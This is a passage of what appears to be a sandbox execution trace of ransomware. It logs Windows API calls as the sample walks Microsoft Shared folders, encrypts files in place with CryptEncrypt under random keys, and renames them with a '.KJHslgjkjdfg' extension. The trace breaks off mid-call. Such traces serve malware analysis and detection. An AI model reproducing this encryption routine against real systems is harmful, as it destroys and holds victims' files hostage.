GetProcessHeap () returned 0x2a0000 [0141.797] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0141.797] GetProcessHeap () returned 0x2a0000 [0141.797] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0141.797] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0141.798] GetProcessHeap () returned 0x2a0000 [0141.798] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0141.798] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EURO", cAlternateFileName="")) returned 1 [0141.798] GetProcessHeap () returned 0x2a0000 [0141.798] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x78) returned 0x2b9ae0 [0141.798] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0141.799] GetProcessHeap () returned 0x2a0000 [0141.799] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0141.799] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0141.799] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0141.799] GetProcessHeap () returned 0x2a0000 [0141.799] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x27a) returned 0x2c7d48 [0141.799] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0141.799] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0141.799] GetProcessHeap () returned 0x2a0000 [0141.799] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0141.799] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Filters", cAlternateFileName="")) returned 1 [0141.799] GetProcessHeap () returned 0x2a0000 [0141.799] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7e) returned 0x2c22b0 [0141.799] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0141.801] GetProcessHeap () returned 0x2a0000 [0141.801] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0141.801] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0141.801] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0141.801] GetProcessHeap () returned 0x2a0000 [0141.801] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x280) returned 0x2c7d48 [0141.801] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0141.801] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0141.801] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0141.801] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0141.801] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0141.801] GetProcessHeap () returned 0x2a0000 [0141.801] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0141.801] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0141.801] GetProcessHeap () returned 0x2a0000 [0141.801] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7e) returned 0x2c22b0 [0141.801] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0141.803] GetProcessHeap () returned 0x2a0000 [0141.803] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0141.804] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0141.804] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0141.804] GetProcessHeap () returned 0x2a0000 [0141.804] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x280) returned 0x2c7d48 [0141.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0141.804] GetProcessHeap () returned 0x2a0000 [0141.804] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0141.804] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0141.804] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0141.804] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0141.815] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0141.815] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0141.815] GetProcessHeap () returned 0x2a0000 [0141.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0141.815] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0141.815] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.815] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0141.815] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0141.815] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0141.815] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0141.816] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0141.816] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0141.816] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0141.816] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0141.816] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.816] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a9b, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1a9b, lpOverlapped=0x0) returned 1 [0141.817] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1aa0, dwBufLen=0x1aa0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1aa0) returned 1 [0141.817] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.817] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1aa0, lpOverlapped=0x0) returned 1 [0141.817] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.817] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.818] SetEndOfFile (hFile=0x114) returned 1 [0141.820] GetProcessHeap () returned 0x2a0000 [0141.820] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0141.820] GetProcessHeap () returned 0x2a0000 [0141.821] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0141.821] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.kjhslgjkjdfg")) returned 1 [0141.821] CloseHandle (hObject=0x114) returned 1 [0141.822] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0141.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0141.823] GetProcessHeap () returned 0x2a0000 [0141.823] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0141.823] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0141.823] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0141.823] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0141.823] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0141.823] GetProcessHeap () returned 0x2a0000 [0141.823] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0141.823] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0141.823] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.823] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0141.833] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0141.833] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0141.833] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0141.833] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0141.833] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0141.833] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0141.833] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0141.833] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.834] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4f160, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4f160, lpOverlapped=0x0) returned 1 [0141.838] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4f160, dwBufLen=0x4f160 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4f160) returned 1 [0141.842] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.842] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4f160, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4f160, lpOverlapped=0x0) returned 1 [0141.843] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.843] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4f234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.843] SetEndOfFile (hFile=0x114) returned 1 [0141.862] GetProcessHeap () returned 0x2a0000 [0141.862] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0141.862] GetProcessHeap () returned 0x2a0000 [0141.862] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0141.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.kjhslgjkjdfg")) returned 1 [0141.868] CloseHandle (hObject=0x114) returned 1 [0141.868] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0141.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0141.910] GetProcessHeap () returned 0x2a0000 [0141.910] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0141.910] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0141.910] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0141.910] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0141.956] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0141.956] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0141.957] GetProcessHeap () returned 0x2a0000 [0141.957] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0141.957] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0141.957] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0141.957] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0141.957] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, 